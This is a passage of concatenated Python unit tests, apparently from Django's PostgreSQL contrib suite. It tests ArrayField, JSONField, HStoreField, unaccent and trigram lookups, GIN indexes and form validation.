        self.assertSequenceEqual(
            DateTimeArrayModel.objects.filter(datetimes=self.datetimes),
            self.objs
        )

    def test_exact_dates(self):
        self.assertSequenceEqual(
            DateTimeArrayModel.objects.filter(dates=self.dates),
            self.objs
        )

    def test_exact_times(self):
        self.assertSequenceEqual(
            DateTimeArrayModel.objects.filter(times=self.times),
            self.objs
        )


class TestOtherTypesExactQuerying(PostgreSQLTestCase):

    def setUp(self):
        self.ips = ['192.168.0.1', '::1']
        self.uuids = [uuid.uuid4()]
        self.decimals = [decimal.Decimal(1.25), 1.75]
        self.tags = [Tag(1), Tag(2), Tag(3)]
        self.objs = [
            OtherTypesArrayModel.objects.create(
                ips=self.ips,
                uuids=self.uuids,
                decimals=self.decimals,
                tags=self.tags,
            )
        ]

    def test_exact_ip_addresses(self):
        self.assertSequenceEqual(
            OtherTypesArrayModel.objects.filter(ips=self.ips),
            self.objs
        )

    def test_exact_uuids(self):
        self.assertSequenceEqual(
            OtherTypesArrayModel.objects.filter(uuids=self.uuids),
            self.objs
        )

    def test_exact_decimals(self):
        self.assertSequenceEqual(
            OtherTypesArrayModel.objects.filter(decimals=self.decimals),
            self.objs
        )

    def test_exact_tags(self):
        self.assertSequenceEqual(
            OtherTypesArrayModel.objects.filter(tags=self.tags),
            self.objs
        )


@isolate_apps('postgres_tests')
class TestChecks(PostgreSQLTestCase):

    def test_field_checks(self):
        class MyModel(PostgreSQLModel):
            field = ArrayField(models.CharField())

        model = MyModel()
        errors = model.check()
        self.assertEqual(len(errors), 1)
        # The inner CharField is missing a max_length.
        self.assertEqual(errors[0].id, 'postgres.E001')
        self.assertIn('max_length', errors[0].msg)

    def test_invalid_base_fields(self):
        class MyModel(PostgreSQLModel):
            field = ArrayField(models.ManyToManyField('postgres_tests.IntegerArrayModel'))

        model = MyModel()
        errors = model.check()
        self.assertEqual(len(errors), 1)
        self.assertEqual(errors[0].id, 'postgres.E002')

    def test_nested_field_checks(self):
        """
        Nested ArrayFields are permitted.
        """
        class MyModel(PostgreSQLModel):
            field = ArrayField(ArrayField(models.CharField()))

        model = MyModel()
        errors = model.check()
        self.assertEqual(len(errors), 1)
        # The inner CharField is missing a max_length.
        self.assertEqual(errors[0].id, 'postgres.E001')
        self.assertIn('max_length', errors[0].msg)


@unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific tests")
class TestMigrations(TransactionTestCase):

    available_apps = ['postgres_tests']

    def test_deconstruct(self):
        field = ArrayField(models.IntegerField())
        name, path, args, kwargs = field.deconstruct()
        new = ArrayField(*args, **kwargs)
        self.assertEqual(type(new.base_field), type(field.base_field))

    def test_deconstruct_with_size(self):
        field = ArrayField(models.IntegerField(), size=3)
        name, path, args, kwargs = field.deconstruct()
        new = ArrayField(*args, **kwargs)
        self.assertEqual(new.size, field.size)

    def test_deconstruct_args(self):
        field = ArrayField(models.CharField(max_length=20))
        name, path, args, kwargs = field.deconstruct()
        new = ArrayField(*args, **kwargs)
        self.assertEqual(new.base_field.max_length, field.base_field.max_length)

    def test_subclass_deconstruct(self):
        field = ArrayField(models.IntegerField())
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, 'django.contrib.postgres.fields.ArrayField')

        field = ArrayFieldSubclass()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, 'postgres_tests.models.ArrayFieldSubclass')

    @override_settings(MIGRATION_MODULES={
        "postgres_tests": "postgres_tests.array_default_migrations",
    })
    def test_adding_field_with_default(self):
        # See #22962
        table_name = 'postgres_tests_integerarraydefaultmodel'
        with connection.cursor() as cursor:
            self.assertNotIn(table_name, connection.introspection.table_names(cursor))
        call_command('migrate', 'postgres_tests', verbosity=0)
        with connection.cursor() as cursor:
            self.assertIn(table_name, connection.introspection.table_names(cursor))
        call_command('migrate', 'postgres_tests', 'zero', verbosity=0)
        with connection.cursor() as cursor:
            self.assertNotIn(table_name, connection.introspection.table_names(cursor))

    @override_settings(MIGRATION_MODULES={
        "postgres_tests": "postgres_tests.array_index_migrations",
    })
    def test_adding_arrayfield_with_index(self):
        """
        ArrayField shouldn't have varchar_patterns_ops or text_patterns_ops indexes.
        """
        table_name = 'postgres_tests_chartextarrayindexmodel'
        call_command('migrate', 'postgres_tests', verbosity=0)
        with connection.cursor() as cursor:
            like_constraint_columns_list = [
                v['columns']
                for k, v in list(connection.introspection.get_constraints(cursor, table_name).items())
                if k.endswith('_like')
            ]
        # Only the CharField should have a LIKE index.
        self.assertEqual(like_constraint_columns_list, [['char2']])
        with connection.cursor() as cursor:
            indexes = connection.introspection.get_indexes(cursor, table_name)
        # All fields should have regular indexes.
        self.assertIn('char', indexes)
        self.assertIn('char2', indexes)
        self.assertIn('text', indexes)
        call_command('migrate', 'postgres_tests', 'zero', verbosity=0)
        with connection.cursor() as cursor:
            self.assertNotIn(table_name, connection.introspection.table_names(cursor))


class TestSerialization(PostgreSQLTestCase):
    test_data = (
        '[{"fields": {"field": "[\\"1\\", \\"2\\", null]"}, "model": "postgres_tests.integerarraymodel", "pk": null}]'
    )

    def test_dumping(self):
        instance = IntegerArrayModel(field=[1, 2, None])
        data = serializers.serialize('json', [instance])
        self.assertEqual(json.loads(data), json.loads(self.test_data))

    def test_loading(self):
        instance = list(serializers.deserialize('json', self.test_data))[0].object
        self.assertEqual(instance.field, [1, 2, None])


class TestValidation(PostgreSQLTestCase):

    def test_unbounded(self):
        field = ArrayField(models.IntegerField())
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean([1, None], None)
        self.assertEqual(cm.exception.code, 'item_invalid')
        self.assertEqual(
            cm.exception.message % cm.exception.params,
            'Item 1 in the array did not validate: This field cannot be null.'
        )

    def test_blank_true(self):
        field = ArrayField(models.IntegerField(blank=True, null=True))
        # This should not raise a validation error
        field.clean([1, None], None)

    def test_with_size(self):
        field = ArrayField(models.IntegerField(), size=3)
        field.clean([1, 2, 3], None)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean([1, 2, 3, 4], None)
        self.assertEqual(cm.exception.messages[0], 'List contains 4 items, it should contain no more than 3.')

    def test_nested_array_mismatch(self):
        field = ArrayField(ArrayField(models.IntegerField()))
        field.clean([[1, 2], [3, 4]], None)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean([[1, 2], [3, 4, 5]], None)
        self.assertEqual(cm.exception.code, 'nested_array_mismatch')
        self.assertEqual(cm.exception.messages[0], 'Nested arrays must have the same length.')

    def test_with_base_field_error_params(self):
        field = ArrayField(models.CharField(max_length=2))
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['abc'], None)
        self.assertEqual(len(cm.exception.error_list), 1)
        exception = cm.exception.error_list[0]
        self.assertEqual(
            exception.message,
            'Item 0 in the array did not validate: Ensure this value has at most 2 characters (it has 3).'
        )
        self.assertEqual(exception.code, 'item_invalid')
        self.assertEqual(exception.params, {'nth': 0, 'value': 'abc', 'limit_value': 2, 'show_value': 3})

    def test_with_validators(self):
        field = ArrayField(models.IntegerField(validators=[validators.MinValueValidator(1)]))
        field.clean([1, 2], None)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean([0], None)
        self.assertEqual(len(cm.exception.error_list), 1)
        exception = cm.exception.error_list[0]
        self.assertEqual(
            exception.message,
            'Item 0 in the array did not validate: Ensure this value is greater than or equal to 1.'
        )
        self.assertEqual(exception.code, 'item_invalid')
        self.assertEqual(exception.params, {'nth': 0, 'value': 0, 'limit_value': 1, 'show_value': 0})


class TestSimpleFormField(PostgreSQLTestCase):

    def test_valid(self):
        field = SimpleArrayField(forms.CharField())
        value = field.clean('a,b,c')
        self.assertEqual(value, ['a', 'b', 'c'])

    def test_to_python_fail(self):
        field = SimpleArrayField(forms.IntegerField())
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('a,b,9')
        self.assertEqual(cm.exception.messages[0], 'Item 0 in the array did not validate: Enter a whole number.')

    def test_validate_fail(self):
        field = SimpleArrayField(forms.CharField(required=True))
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('a,b,')
        self.assertEqual(cm.exception.messages[0], 'Item 2 in the array did not validate: This field is required.')

    def test_validate_fail_base_field_error_params(self):
        field = SimpleArrayField(forms.CharField(max_length=2))
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('abc,c,defg')
        errors = cm.exception.error_list
        self.assertEqual(len(errors), 2)
        first_error = errors[0]
        self.assertEqual(
            first_error.message,
            'Item 0 in the array did not validate: Ensure this value has at most 2 characters (it has 3).'
        )
        self.assertEqual(first_error.code, 'item_invalid')
        self.assertEqual(first_error.params, {'nth': 0, 'value': 'abc', 'limit_value': 2, 'show_value': 3})
        second_error = errors[1]
        self.assertEqual(
            second_error.message,
            'Item 2 in the array did not validate: Ensure this value has at most 2 characters (it has 4).'
        )
        self.assertEqual(second_error.code, 'item_invalid')
        self.assertEqual(second_error.params, {'nth': 2, 'value': 'defg', 'limit_value': 2, 'show_value': 4})

    def test_validators_fail(self):
        field = SimpleArrayField(forms.RegexField('[a-e]{2}'))
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('a,bc,de')
        self.assertEqual(cm.exception.messages[0], 'Item 0 in the array did not validate: Enter a valid value.')

    def test_delimiter(self):
        field = SimpleArrayField(forms.CharField(), delimiter='|')
        value = field.clean('a|b|c')
        self.assertEqual(value, ['a', 'b', 'c'])

    def test_delimiter_with_nesting(self):
        field = SimpleArrayField(SimpleArrayField(forms.CharField()), delimiter='|')
        value = field.clean('a,b|c,d')
        self.assertEqual(value, [['a', 'b'], ['c', 'd']])

    def test_prepare_value(self):
        field = SimpleArrayField(forms.CharField())
        value = field.prepare_value(['a', 'b', 'c'])
        self.assertEqual(value, 'a,b,c')

    def test_max_length(self):
        field = SimpleArrayField(forms.CharField(), max_length=2)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('a,b,c')
        self.assertEqual(cm.exception.messages[0], 'List contains 3 items, it should contain no more than 2.')

    def test_min_length(self):
        field = SimpleArrayField(forms.CharField(), min_length=4)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('a,b,c')
        self.assertEqual(cm.exception.messages[0], 'List contains 3 items, it should contain no fewer than 4.')

    def test_required(self):
        field = SimpleArrayField(forms.CharField(), required=True)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('')
        self.assertEqual(cm.exception.messages[0], 'This field is required.')

    def test_model_field_formfield(self):
        model_field = ArrayField(models.CharField(max_length=27))
        form_field = model_field.formfield()
        self.assertIsInstance(form_field, SimpleArrayField)
        self.assertIsInstance(form_field.base_field, forms.CharField)
        self.assertEqual(form_field.base_field.max_length, 27)

    def test_model_field_formfield_size(self):
        model_field = ArrayField(models.CharField(max_length=27), size=4)
        form_field = model_field.formfield()
        self.assertIsInstance(form_field, SimpleArrayField)
        self.assertEqual(form_field.max_length, 4)


class TestSplitFormField(PostgreSQLTestCase):

    def test_valid(self):
        class SplitForm(forms.Form):
            array = SplitArrayField(forms.CharField(), size=3)

        data = {'array_0': 'a', 'array_1': 'b', 'array_2': 'c'}
        form = SplitForm(data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data, {'array': ['a', 'b', 'c']})

    def test_required(self):
        class SplitForm(forms.Form):
            array = SplitArrayField(forms.CharField(), required=True, size=3)

        data = {'array_0': '', 'array_1': '', 'array_2': ''}
        form = SplitForm(data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors, {'array': ['This field is required.']})

    def test_remove_trailing_nulls(self):
        class SplitForm(forms.Form):
            array = SplitArrayField(forms.CharField(required=False), size=5, remove_trailing_nulls=True)

        data = {'array_0': 'a', 'array_1': '', 'array_2': 'b', 'array_3': '', 'array_4': ''}
        form = SplitForm(data)
        self.assertTrue(form.is_valid(), form.errors)
        self.assertEqual(form.cleaned_data, {'array': ['a', '', 'b']})

    def test_remove_trailing_nulls_not_required(self):
        class SplitForm(forms.Form):
            array = SplitArrayField(
                forms.CharField(required=False),
                size=2,
                remove_trailing_nulls=True,
                required=False,
            )

        data = {'array_0': '', 'array_1': ''}
        form = SplitForm(data)
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data, {'array': []})

    def test_required_field(self):
        class SplitForm(forms.Form):
            array = SplitArrayField(forms.CharField(), size=3)

        data = {'array_0': 'a', 'array_1': 'b', 'array_2': ''}
        form = SplitForm(data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors, {'array': ['Item 2 in the array did not validate: This field is required.']})

    def test_invalid_integer(self):
        msg = 'Item 1 in the array did not validate: Ensure this value is less than or equal to 100.'
        with self.assertRaisesMessage(exceptions.ValidationError, msg):
            SplitArrayField(forms.IntegerField(max_value=100), size=2).clean([0, 101])

    def test_rendering(self):
        class SplitForm(forms.Form):
            array = SplitArrayField(forms.CharField(), size=3)

        self.assertHTMLEqual(str(SplitForm()), '''
            <tr>
                <th><label for="id_array_0">Array:</label></th>
                <td>
                    <input id="id_array_0" name="array_0" type="text" required />
                    <input id="id_array_1" name="array_1" type="text" required />
                    <input id="id_array_2" name="array_2" type="text" required />
                </td>
            </tr>
        ''')

    def test_invalid_char_length(self):
        field = SplitArrayField(forms.CharField(max_length=2), size=3)
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(['abc', 'c', 'defg'])
        self.assertEqual(cm.exception.messages, [
            'Item 0 in the array did not validate: Ensure this value has at most 2 characters (it has 3).',
            'Item 2 in the array did not validate: Ensure this value has at most 2 characters (it has 4).',
        ])






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.test import modify_settings

from . import PostgreSQLTestCase
from .models import CharFieldModel, TextFieldModel


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.postgres'})
class UnaccentTest(PostgreSQLTestCase):

    Model = CharFieldModel

    def setUp(self):
        self.Model.objects.bulk_create([
            self.Model(field="àéÖ"),
            self.Model(field="aeO"),
            self.Model(field="aeo"),
        ])

    def test_unaccent(self):
        self.assertQuerysetEqual(
            self.Model.objects.filter(field__unaccent="aeO"),
            ["àéÖ", "aeO"],
            transform=lambda instance: instance.field,
            ordered=False
        )

    def test_unaccent_chained(self):
        """
        Check that unaccent can be used chained with a lookup (which should be
        the case since unaccent implements the Transform API)
        """
        self.assertQuerysetEqual(
            self.Model.objects.filter(field__unaccent__iexact="aeO"),
            ["àéÖ", "aeO", "aeo"],
            transform=lambda instance: instance.field,
            ordered=False
        )
        self.assertQuerysetEqual(
            self.Model.objects.filter(field__unaccent__endswith="éÖ"),
            ["àéÖ", "aeO"],
            transform=lambda instance: instance.field,
            ordered=False
        )

    def test_unaccent_accentuated_needle(self):
        self.assertQuerysetEqual(
            self.Model.objects.filter(field__unaccent="aéÖ"),
            ["àéÖ", "aeO"],
            transform=lambda instance: instance.field,
            ordered=False
        )


class UnaccentTextFieldTest(UnaccentTest):
    """
    TextField should have the exact same behavior as CharField
    regarding unaccent lookups.
    """
    Model = TextFieldModel






import datetime
import unittest

from django.core import exceptions, serializers
from django.db import connection
from django.forms import CharField, Form, widgets
from django.test import TestCase
from django.utils.html import escape

from . import PostgreSQLTestCase
from .models import JSONModel

try:
    from django.contrib.postgres import forms
    from django.contrib.postgres.fields import JSONField
except ImportError:
    pass


def skipUnlessPG94(test):
    try:
        PG_VERSION = connection.pg_version
    except AttributeError:
        PG_VERSION = 0
    if PG_VERSION < 90400:
        return unittest.skip('PostgreSQL >= 9.4 required')(test)
    return test


@skipUnlessPG94
class TestSaveLoad(TestCase):
    def test_null(self):
        instance = JSONModel()
        instance.save()
        loaded = JSONModel.objects.get()
        self.assertIsNone(loaded.field)

    def test_empty_object(self):
        instance = JSONModel(field={})
        instance.save()
        loaded = JSONModel.objects.get()
        self.assertEqual(loaded.field, {})

    def test_empty_list(self):
        instance = JSONModel(field=[])
        instance.save()
        loaded = JSONModel.objects.get()
        self.assertEqual(loaded.field, [])

    def test_boolean(self):
        instance = JSONModel(field=True)
        instance.save()
        loaded = JSONModel.objects.get()
        self.assertIs(loaded.field, True)

    def test_string(self):
        instance = JSONModel(field='why?')
        instance.save()
        loaded = JSONModel.objects.get()
        self.assertEqual(loaded.field, 'why?')

    def test_number(self):
        instance = JSONModel(field=1)
        instance.save()
        loaded = JSONModel.objects.get()
        self.assertEqual(loaded.field, 1)

    def test_realistic_object(self):
        obj = {
            'a': 'b',
            'c': 1,
            'd': ['e', {'f': 'g'}],
            'h': True,
            'i': False,
            'j': None,
        }
        instance = JSONModel(field=obj)
        instance.save()
        loaded = JSONModel.objects.get()
        self.assertEqual(loaded.field, obj)


@skipUnlessPG94
class TestQuerying(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.objs = [
            JSONModel.objects.create(field=None),
            JSONModel.objects.create(field=True),
            JSONModel.objects.create(field=False),
            JSONModel.objects.create(field='yes'),
            JSONModel.objects.create(field=7),
            JSONModel.objects.create(field=[]),
            JSONModel.objects.create(field={}),
            JSONModel.objects.create(field={
                'a': 'b',
                'c': 1,
            }),
            JSONModel.objects.create(field={
                'a': 'b',
                'c': 1,
                'd': ['e', {'f': 'g'}],
                'h': True,
                'i': False,
                'j': None,
                'k': {'l': 'm'},
            }),
            JSONModel.objects.create(field=[1, [2]]),
            JSONModel.objects.create(field={
                'k': True,
                'l': False,
            }),
        ]

    def test_exact(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__exact={}),
            [self.objs[6]]
        )

    def test_exact_complex(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__exact={'a': 'b', 'c': 1}),
            [self.objs[7]]
        )

    def test_isnull(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__isnull=True),
            [self.objs[0]]
        )

    def test_contains(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__contains={'a': 'b'}),
            [self.objs[7], self.objs[8]]
        )

    def test_contained_by(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__contained_by={'a': 'b', 'c': 1, 'h': True}),
            [self.objs[6], self.objs[7]]
        )

    def test_has_key(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__has_key='a'),
            [self.objs[7], self.objs[8]]
        )

    def test_has_keys(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__has_keys=['a', 'c', 'h']),
            [self.objs[8]]
        )

    def test_has_any_keys(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__has_any_keys=['c', 'l']),
            [self.objs[7], self.objs[8], self.objs[10]]
        )

    def test_shallow_list_lookup(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__0=1),
            [self.objs[9]]
        )

    def test_shallow_obj_lookup(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__a='b'),
            [self.objs[7], self.objs[8]]
        )

    def test_deep_lookup_objs(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__k__l='m'),
            [self.objs[8]]
        )

    def test_shallow_lookup_obj_target(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__k={'l': 'm'}),
            [self.objs[8]]
        )

    def test_deep_lookup_array(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__1__0=2),
            [self.objs[9]]
        )

    def test_deep_lookup_mixed(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__d__1__f='g'),
            [self.objs[8]]
        )

    def test_deep_lookup_transform(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__c__gt=1),
            []
        )
        self.assertSequenceEqual(
            JSONModel.objects.filter(field__c__lt=5),
            [self.objs[7], self.objs[8]]
        )

    def test_usage_in_subquery(self):
        self.assertSequenceEqual(
            JSONModel.objects.filter(id__in=JSONModel.objects.filter(field__c=1)),
            self.objs[7:9]
        )


@skipUnlessPG94
class TestSerialization(TestCase):
    test_data = '[{"fields": {"field": {"a": "b", "c": null}}, "model": "postgres_tests.jsonmodel", "pk": null}]'

    def test_dumping(self):
        instance = JSONModel(field={'a': 'b', 'c': None})
        data = serializers.serialize('json', [instance])
        self.assertJSONEqual(data, self.test_data)

    def test_loading(self):
        instance = list(serializers.deserialize('json', self.test_data))[0].object
        self.assertEqual(instance.field, {'a': 'b', 'c': None})


class TestValidation(PostgreSQLTestCase):

    def test_not_serializable(self):
        field = JSONField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean(datetime.timedelta(days=1), None)
        self.assertEqual(cm.exception.code, 'invalid')
        self.assertEqual(cm.exception.message % cm.exception.params, "Value must be valid JSON.")


class TestFormField(PostgreSQLTestCase):

    def test_valid(self):
        field = forms.JSONField()
        value = field.clean('{"a": "b"}')
        self.assertEqual(value, {'a': 'b'})

    def test_valid_empty(self):
        field = forms.JSONField(required=False)
        value = field.clean('')
        self.assertIsNone(value)

    def test_invalid(self):
        field = forms.JSONField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('{some badly formed: json}')
        self.assertEqual(cm.exception.messages[0], "'{some badly formed: json}' value must be valid JSON.")

    def test_formfield(self):
        model_field = JSONField()
        form_field = model_field.formfield()
        self.assertIsInstance(form_field, forms.JSONField)

    def test_formfield_disabled(self):
        class JsonForm(Form):
            name = CharField()
            jfield = forms.JSONField(disabled=True)

        form = JsonForm({'name': 'xyz', 'jfield': '["bar"]'}, initial={'jfield': ['foo']})
        self.assertIn('[&quot;foo&quot;]</textarea>', form.as_p())

    def test_prepare_value(self):
        field = forms.JSONField()
        self.assertEqual(field.prepare_value({'a': 'b'}), '{"a": "b"}')
        self.assertEqual(field.prepare_value(None), 'null')
        self.assertEqual(field.prepare_value('foo'), '"foo"')

    def test_redisplay_wrong_input(self):
        """
        When displaying a bound form (typically due to invalid input), the form
        should not overquote JSONField inputs.
        """
        class JsonForm(Form):
            name = CharField(max_length=2)
            jfield = forms.JSONField()

        # JSONField input is fine, name is too long
        form = JsonForm({'name': 'xyz', 'jfield': '["foo"]'})
        self.assertIn('[&quot;foo&quot;]</textarea>', form.as_p())

        # This time, the JSONField input is wrong
        form = JsonForm({'name': 'xy', 'jfield': '{"foo"}'})
        # Appears once in the textarea and once in the error message
        self.assertEqual(form.as_p().count(escape('{"foo"}')), 2)

    def test_widget(self):
        """The default widget of a JSONField is a Textarea."""
        field = forms.JSONField()
        self.assertIsInstance(field.widget, widgets.Textarea)

    def test_custom_widget_kwarg(self):
        """The widget can be overridden with a kwarg."""
        field = forms.JSONField(widget=widgets.Input)
        self.assertIsInstance(field.widget, widgets.Input)

    def test_custom_widget_attribute(self):
        """The widget can be overridden with an attribute."""
        class CustomJSONField(forms.JSONField):
            widget = widgets.Input

        field = CustomJSONField()
        self.assertIsInstance(field.widget, widgets.Input)






from django.contrib.postgres.indexes import GinIndex
from django.db import connection

from . import PostgreSQLTestCase
from .models import IntegerArrayModel


class GinIndexTests(PostgreSQLTestCase):

    def test_repr(self):
        index = GinIndex(fields=['title'])
        self.assertEqual(repr(index), "<GinIndex: fields='title'>")

    def test_eq(self):
        index = GinIndex(fields=['title'])
        same_index = GinIndex(fields=['title'])
        another_index = GinIndex(fields=['author'])
        self.assertEqual(index, same_index)
        self.assertNotEqual(index, another_index)

    def test_name_auto_generation(self):
        index = GinIndex(fields=['field'])
        index.set_name_with_model(IntegerArrayModel)
        self.assertEqual(index.name, 'postgres_te_field_def2f8_gin')

    def test_deconstruction(self):
        index = GinIndex(fields=['title'], name='test_title_gin')
        path, args, kwargs = index.deconstruct()
        self.assertEqual(path, 'django.contrib.postgres.indexes.GinIndex')
        self.assertEqual(args, ())
        self.assertEqual(kwargs, {'fields': ['title'], 'name': 'test_title_gin'})


class SchemaTests(PostgreSQLTestCase):

    def get_indexes(self, table):
        """
        Get the indexes on the table using a new cursor.
        """
        with connection.cursor() as cursor:
            return connection.introspection.get_indexes(cursor, table)

    def test_gin_index(self):
        # Ensure the table is there and doesn't have an index.
        self.assertNotIn('field', self.get_indexes(IntegerArrayModel._meta.db_table))
        # Add the index
        index = GinIndex(fields=['field'], name='integer_array_model_field_gin')
        with connection.schema_editor() as editor:
            editor.add_index(IntegerArrayModel, index)
        self.assertIn('field', self.get_indexes(IntegerArrayModel._meta.db_table))
        self.assertEqual(self.get_indexes(IntegerArrayModel._meta.db_table)['field']['type'], 'gin')
        # Drop the index
        with connection.schema_editor() as editor:
            editor.remove_index(IntegerArrayModel, index)
        self.assertNotIn('field', self.get_indexes(IntegerArrayModel._meta.db_table))






from datetime import datetime
from time import sleep

from django.contrib.postgres.functions import TransactionNow

from . import PostgreSQLTestCase
from .models import NowTestModel


class TestTransactionNow(PostgreSQLTestCase):

    def test_transaction_now(self):
        """
        The test case puts everything under a transaction, so two models
        updated with a short gap should have the same time.
        """
        m1 = NowTestModel.objects.create()
        m2 = NowTestModel.objects.create()

        NowTestModel.objects.filter(id=m1.id).update(when=TransactionNow())
        sleep(0.1)
        NowTestModel.objects.filter(id=m2.id).update(when=TransactionNow())

        m1.refresh_from_db()
        m2.refresh_from_db()

        self.assertIsInstance(m1.when, datetime)
        self.assertEqual(m1.when, m2.when)






from django.contrib.postgres.search import TrigramDistance, TrigramSimilarity
from django.test import modify_settings

from . import PostgreSQLTestCase
from .models import CharFieldModel, TextFieldModel


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.postgres'})
class TrigramTest(PostgreSQLTestCase):
    Model = CharFieldModel

    @classmethod
    def setUpTestData(cls):
        cls.Model.objects.bulk_create([
            cls.Model(field='Matthew'),
            cls.Model(field='Cat sat on mat.'),
            cls.Model(field='Dog sat on rug.'),
        ])

    def test_trigram_search(self):
        self.assertQuerysetEqual(
            self.Model.objects.filter(field__trigram_similar='Mathew'),
            ['Matthew'],
            transform=lambda instance: instance.field,
        )

    def test_trigram_similarity(self):
        search = 'Bat sat on cat.'
        self.assertQuerysetEqual(
            self.Model.objects.filter(
                field__trigram_similar=search,
            ).annotate(similarity=TrigramSimilarity('field', search)).order_by('-similarity'),
            [('Cat sat on mat.', 0.625), ('Dog sat on rug.', 0.333333)],
            transform=lambda instance: (instance.field, instance.similarity),
            ordered=True,
        )

    def test_trigram_similarity_alternate(self):
        self.assertQuerysetEqual(
            self.Model.objects.annotate(
                distance=TrigramDistance('field', 'Bat sat on cat.'),
            ).filter(distance__lte=0.7).order_by('distance'),
            [('Cat sat on mat.', 0.375), ('Dog sat on rug.', 0.666667)],
            transform=lambda instance: (instance.field, instance.distance),
            ordered=True,
        )


class TrigramTextFieldTest(TrigramTest):
    """
    TextField has the same behavior as CharField regarding trigram lookups.
    """
    Model = TextFieldModel






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import json

from django.core import exceptions, serializers
from django.forms import Form
from django.test.utils import modify_settings

from . import PostgreSQLTestCase
from .models import HStoreModel

try:
    from django.contrib.postgres import forms
    from django.contrib.postgres.fields import HStoreField
    from django.contrib.postgres.validators import KeysValidator
except ImportError:
    pass


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.postgres'})
class HStoreTestCase(PostgreSQLTestCase):
    pass


class SimpleTests(HStoreTestCase):
    def test_save_load_success(self):
        value = {'a': 'b'}
        instance = HStoreModel(field=value)
        instance.save()
        reloaded = HStoreModel.objects.get()
        self.assertEqual(reloaded.field, value)

    def test_null(self):
        instance = HStoreModel(field=None)
        instance.save()
        reloaded = HStoreModel.objects.get()
        self.assertIsNone(reloaded.field)

    def test_value_null(self):
        value = {'a': None}
        instance = HStoreModel(field=value)
        instance.save()
        reloaded = HStoreModel.objects.get()
        self.assertEqual(reloaded.field, value)

    def test_key_val_cast_to_string(self):
        value = {'a': 1, 'b': 'B', 2: 'c', 'ï': 'ê', b'x': b'test'}
        expected_value = {'a': '1', 'b': 'B', '2': 'c', 'ï': 'ê', 'x': 'test'}

        instance = HStoreModel.objects.create(field=value)
        instance = HStoreModel.objects.get()
        self.assertDictEqual(instance.field, expected_value)

        instance = HStoreModel.objects.get(field__a=1)
        self.assertDictEqual(instance.field, expected_value)

        instance = HStoreModel.objects.get(field__has_keys=[2, 'a', 'ï'])
        self.assertDictEqual(instance.field, expected_value)


class TestQuerying(HStoreTestCase):

    def setUp(self):
        self.objs = [
            HStoreModel.objects.create(field={'a': 'b'}),
            HStoreModel.objects.create(field={'a': 'b', 'c': 'd'}),
            HStoreModel.objects.create(field={'c': 'd'}),
            HStoreModel.objects.create(field={}),
            HStoreModel.objects.create(field=None),
        ]

    def test_exact(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__exact={'a': 'b'}),
            self.objs[:1]
        )

    def test_contained_by(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__contained_by={'a': 'b', 'c': 'd'}),
            self.objs[:4]
        )

    def test_contains(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__contains={'a': 'b'}),
            self.objs[:2]
        )

    def test_in_generator(self):
        def search():
            yield {'a': 'b'}
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__in=search()),
            self.objs[:1]
        )

    def test_has_key(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__has_key='c'),
            self.objs[1:3]
        )

    def test_has_keys(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__has_keys=['a', 'c']),
            self.objs[1:2]
        )

    def test_has_any_keys(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__has_any_keys=['a', 'c']),
            self.objs[:3]
        )

    def test_key_transform(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__a='b'),
            self.objs[:2]
        )

    def test_keys(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__keys=['a']),
            self.objs[:1]
        )

    def test_values(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__values=['b']),
            self.objs[:1]
        )

    def test_field_chaining(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__a__contains='b'),
            self.objs[:2]
        )

    def test_keys_contains(self):
        self.assertSequenceEqual(
